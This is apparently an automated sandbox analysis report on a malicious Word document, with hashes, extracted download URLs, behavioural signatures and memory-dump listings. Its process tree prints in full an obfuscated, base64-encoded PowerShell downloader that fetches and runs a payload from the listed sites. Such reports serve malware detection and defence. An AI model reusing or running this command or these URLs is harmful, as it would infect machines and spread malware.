Analysis
-
max time kernel
116s -
max time network
141s -
platform
windows10-2004_x64 -
resource
win10v2004-20220414-en -
submitted
22-05-2022 05:18
Static task
static1
Behavioral task
behavioral1
Sample
azbtmhyi.doc
Resource
win7-20220414-en
Behavioral task
behavioral2
Sample
azbtmhyi.doc
Resource
win10v2004-20220414-en
General
-
Target
azbtmhyi.doc
-
Size
232KB
-
MD5
97eb3bd0675dcb052eabfeacf7672f6e
-
SHA1
e3194145498f8a785f830f9a271b9adf908cabf9
-
SHA256
d4c076603f475a562c8771e360b65b734aba563731f4417b117ecfad4297d562
-
SHA512
0793c47bc11435c2c0466f8559d76fb1493ab7d052340980c0ceca4e61709dd8f802345819a1aa56117cb94ff162e64de9b945568670abc8edd8bae620d37b13
Malware Config
Extracted
http://xn--ruqumz1h0h.com/wp-content/zj/
http://hemalrathod.com/BillGST/6Y/
http://ipeconstrutora.com/cgi-bin/Zf/
http://islamabadtrafficpolice.gov.pk/i/
http://kogeisha.net/kansaiosakanagasaki-kenjinkai/Rxj/
http://lalenga.cl/claudio/oMz/
http://pedantas.eu/wp-snapshots/L/
Signatures
-
Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
Processes:
powershell.exedescription pid pid_target process target process Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 2360 1004 powershell.exe -
Blocklisted process makes network request 10 IoCs
Processes:
powershell.exeflow pid process 26 2360 powershell.exe 38 2360 powershell.exe 41 2360 powershell.exe 53 2360 powershell.exe 55 2360 powershell.exe 57 2360 powershell.exe 58 2360 powershell.exe 62 2360 powershell.exe 65 2360 powershell.exe 66 2360 powershell.exe -
Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
Processes:
WINWORD.EXEdescription ioc process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString WINWORD.EXE -
Enumerates system info in registry 2 TTPs 3 IoCs
Processes:
WINWORD.EXEdescription ioc process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WINWORD.EXE Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily WINWORD.EXE -
Suspicious behavior: AddClipboardFormatListener 2 IoCs
Processes:
WINWORD.EXEpid process 332 WINWORD.EXE 332 WINWORD.EXE -
Suspicious behavior: EnumeratesProcesses 2 IoCs
Processes:
powershell.exepid process 2360 powershell.exe 2360 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes:
powershell.exedescription pid process Token: SeDebugPrivilege 2360 powershell.exe -
Suspicious use of SetWindowsHookEx 7 IoCs
Processes:
WINWORD.EXEpid process 332 WINWORD.EXE 332 WINWORD.EXE 332 WINWORD.EXE 332 WINWORD.EXE 332 WINWORD.EXE 332 WINWORD.EXE 332 WINWORD.EXE
Processes
-
C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\azbtmhyi.doc" /o ""1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -e JABPADkAMQAzADkAeQA3AD0AKAAnAFUAJwArACgAJwBpACcAKwAnAG4AaQAnACsAJwB6AG0AZAAnACkAKQA7AC4AKAAnAG4AZQB3AC0AaQAnACsAJwB0ACcAKwAnAGUAbQAnACkAIAAkAEUATgBWADoAdQBTAEUAcgBQAFIAbwBmAGkAbABFAFwAaAB1AFoAQwAwAF8AeQBcAEkAVAB2AEMAMwBuAGQAXAAgAC0AaQB0AGUAbQB0AHkAcABlACAAZABJAFIAZQBjAFQAbwByAFkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAHMAZQBjAHUAYABSAEkAVABZAFAAUgBvAHQATwBgAGMAYABPAEwAIgAgAD0AIAAoACgAJwB0AGwAJwArACcAcwAnACkAKwAnADEAJwArACgAJwAyACwAJwArACcAIAAnACkAKwAoACcAdABsAHMAMQAxACcAKwAnACwAJwApACsAKAAnACAAdAAnACsAJwBsAHMAJwApACkAOwAkAE8AYQA4AGwAbgB6AHgAIAA9ACAAKAAnAFIAMQAnACsAKAAnAGoAJwArACcAcgBwADgAJwApACkAOwAkAEwAZQByAGgAcAA1AGMAPQAoACcARgAnACsAKAAnADkAdQAnACsAJwAxACcAKQArACgAJwBwACcAKwAnADAANgAnACkAKQA7ACQASwA0AG0AdAAwAHAAZQA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAoACgAKAAnAFEAUwA4AEgAdQAnACsAJwB6AGMAMAAnACsAJwBfACcAKQArACcAeQAnACsAJwBRAFMAJwArACgAJwA4AEkAdAB2AGMAJwArACcAMwAnACsAJwBuACcAKQArACcAZABRACcAKwAnAFMAOAAnACkALgAiAFIAYABlAGAAUABsAGEAYwBFACIAKAAoACcAUQAnACsAJwBTADgAJwApACwAJwBcACcAKQApACsAJABPAGEAOABsAG4AegB4ACsAKAAnAC4AJwArACgAJwBlAHgAJwArACcAZQAnACkAKQA7ACQAUAB6AHEAawAxAHgAcAA9ACgAJwBaAHAAJwArACcAcQAnACsAKAAnAG4AYwBkACcAKwAnAHcAJwApACkAOwAkAE0AdAByAGUAdQBrAGgAPQAuACgAJwBuAGUAdwAtAG8AJwArACcAYgBqAGUAJwArACcAYwB0ACcAKQAgAE4ARQB0AC4AdwBFAGIAYwBMAEkAZQBOAHQAOwAkAFIAOABqADkAagB3AHkAPQAoACgAJwBoAHQAdAAnACsAJwBwADoAJwApACsAKAAnAC8ALwB4ACcAKwAnAG4AJwApACsAKAAnAC0AJwArACcALQByAHUAcQAnACsAJwB1AG0AJwApACsAKAAnAHoAMQBoADAAaAAnACsAJwAuACcAKwAnAGMAbwAnACkAKwAnAG0ALwAnACsAKAAnAHcAJwArACcAcAAtACcAKQArACgAJwBjAG8AJwArACcAbgB0ACcAKQArACcAZQAnACsAKAAnAG4AdAAvACcAKwAnAHoAJwApACsAJwBqACcAKwAoACcALwAnACsAJwAqAGgAJwApACsAKAAnAHQAdAAnACsAJwBwACcAKQArACcAOgAnACsAKAAnAC8ALwAnACsAJwBoAGUAbQBhAGwAJwApACsAJwByAGEAJwArACgAJwB0AGgAbwBkACcAKwAnAC4AYwBvACcAKQArACgAJwBtAC8AQgAnACsAJwBpACcAKQArACcAbABsACcAKwAoACcARwBTAFQALwAnACsAJwA2AFkAJwApACsAJwAvACoAJwArACgAJwBoAHQAJwArACcAdABwADoAJwArACcALwAnACkAKwAoACcALwAnACsAJwBpACcAKwAnAHAAZQBjAG8AbgBzAHQAJwApACsAKAAnAHIAJwArACcAdQB0ACcAKQArACcAbwByACcAKwAoACcAYQAnACsAJwAuAGMAbwBtACcAKQArACcALwBjACcAKwAnAGcAJwArACcAaQAnACsAJwAtACcAKwAoACcAYgAnACsAJwBpAG4ALwBaAGYAJwApACsAKAAnAC8AKgBoACcAKwAnAHQAdAAnACkAKwAnAHAAJwArACcAOgAnACsAKAAnAC8AJwArACcALwBpACcAKQArACcAcwBsACcAKwAoACcAYQBtAGEAYgBhAGQAdAAnACsAJwByACcAKwAnAGEAZgAnACkAKwAoACcAZgBpAGMAJwArACcAcABvACcAKQArACcAbABpACcAKwAoACcAYwBlAC4AJwArACcAZwBvAHYAJwApACsAJwAuAHAAJwArACcAawAnACsAJwAvACcAKwAoACcAaQAvACoAaAB0AHQAcAA6AC8AJwArACcALwBrACcAKwAnAG8AJwArACcAZwBlACcAKQArACgAJwBpAHMAJwArACcAaABhAC4AJwArACcAbgBlACcAKwAnAHQALwBrACcAKQArACcAYQBuACcAKwAoACcAcwBhAGkAbwBzACcAKwAnAGEAJwApACsAKAAnAGsAYQBuAGEAZwBhACcAKwAnAHMAJwApACsAKAAnAGEAJwArACcAawBpAC0AJwArACcAawBlAG4AagBpAG4AJwApACsAKAAnAGsAYQBpAC8AJwArACcAUgB4ACcAKQArACcAagAnACsAJwAvACoAJwArACcAaAB0ACcAKwAoACcAdABwADoALwAnACsAJwAvACcAKwAnAGwAYQAnACsAJwBsAGUAbgAnACkAKwAoACcAZwBhAC4AYwAnACsAJwBsACcAKwAnAC8AYwBsACcAKwAnAGEAdQBkAGkAJwArACcAbwAvAG8AJwApACsAJwBNACcAKwAoACcAegAnACsAJwAvACoAaAAnACkAKwAnAHQAJwArACcAdABwACcAKwAoACcAOgAnACsAJwAvAC8AcABlACcAKwAnAGQAYQBuAHQAYQBzACcAKwAnAC4AZQB1ACcAKQArACgAJwAvAHcAJwArACcAcAAnACkAKwAoACcALQBzACcAKwAnAG4AJwApACsAJwBhACcAKwAoACcAcABzAGgAJwArACcAbwB0ACcAKwAnAHMAJwApACsAKAAnAC8ATAAnACsAJwAvACcAKQApAC4AIgBTAHAAYABsAGkAdAAiACgAWwBjAGgAYQByAF0ANAAyACkAOwAkAFIAbgBrAHgAcgByAHEAPQAoACcAUwBfACcAKwAoACcAZgBrAGYAJwArACcAeAB6ACcAKQApADsAZgBvAHIAZQBhAGMAaAAoACQAVgBsADAAdQBiAGUAMAAgAGkAbgAgACQAUgA4AGoAOQBqAHcAeQApAHsAdAByAHkAewAkAE0AdAByAGUAdQBrAGgALgAiAGQATwBXAE4ATABvAGAAQQBgAGQARgBpAEwAZQAiACgAJABWAGwAMAB1AGIAZQAwACwAIAAkAEsANABtAHQAMABwAGUAKQA7ACQAVgBwAHkANAAwAHgANQA9ACgAKAAnAFMAbAAnACsAJwBoACcAKQArACgAJwBhAG8AegAnACsAJwBoACcAKQApADsASQBmACAAKAAoACYAKAAnAEcAZQB0AC0AJwArACcASQB0AGUAbQAnACkAIAAkAEsANABtAHQAMABwAGUAKQAuACIAbABgAGUAbgBnAGAAVABoACIAIAAtAGcAZQAgADIAMgA0ADUANAApACAAewAuACgAJwBJAG4AdgBvAGsAZQAtACcAKwAnAEkAJwArACcAdABlAG0AJwApACgAJABLADQAbQB0ADAAcABlACkAOwAkAFAAYwBiAHoAaQA1AGUAPQAoACcAQgAnACsAKAAnAHUAMgBzACcAKwAnAGYAJwApACsAJwBhAG4AJwApADsAYgByAGUAYQBrADsAJABHAHUAeABxADQAYQBiAD0AKAAoACcATQA5ACcAKwAnAGcAJwApACsAJwBqACcAKwAoACcAcQAnACsAJwBhAGIAJwApACkAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAEEAMAB1AHUAeABzAHcAPQAoACcATgAnACsAKAAnAHYAJwArACcAOABjAGQAJwApACsAJwBsAHUAJwApAA==1⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
Loading Replay Monitor...
Downloads
-
memory/332-136-0x00007FFE88F30000-0x00007FFE88F40000-memory.dmpFilesize
64KB
-
memory/332-130-0x00007FFE8B410000-0x00007FFE8B420000-memory.dmpFilesize
64KB
-
memory/332-132-0x00007FFE8B410000-0x00007FFE8B420000-memory.dmpFilesize
64KB
-
memory/332-133-0x00007FFE8B410000-0x00007FFE8B420000-memory.dmpFilesize
64KB
-
memory/332-134-0x00007FFE8B410000-0x00007FFE8B420000-memory.dmpFilesize
64KB
-
memory/332-135-0x00007FFE88F30000-0x00007FFE88F40000-memory.dmpFilesize
64KB
-
memory/332-131-0x00007FFE8B410000-0x00007FFE8B420000-memory.dmpFilesize
64KB
-
memory/332-137-0x000001D817160000-0x000001D817164000-memory.dmpFilesize
16KB
-
memory/332-141-0x00007FFE8B410000-0x00007FFE8B420000-memory.dmpFilesize
64KB
-
memory/332-144-0x00007FFE8B410000-0x00007FFE8B420000-memory.dmpFilesize
64KB
-
memory/332-143-0x00007FFE8B410000-0x00007FFE8B420000-memory.dmpFilesize
64KB
-
memory/332-142-0x00007FFE8B410000-0x00007FFE8B420000-memory.dmpFilesize
64KB
-
memory/2360-138-0x00000223E10A0000-0x00000223E10C2000-memory.dmpFilesize
136KB
-
memory/2360-139-0x00007FFE9F560000-0x00007FFEA0021000-memory.dmpFilesize
10.8MB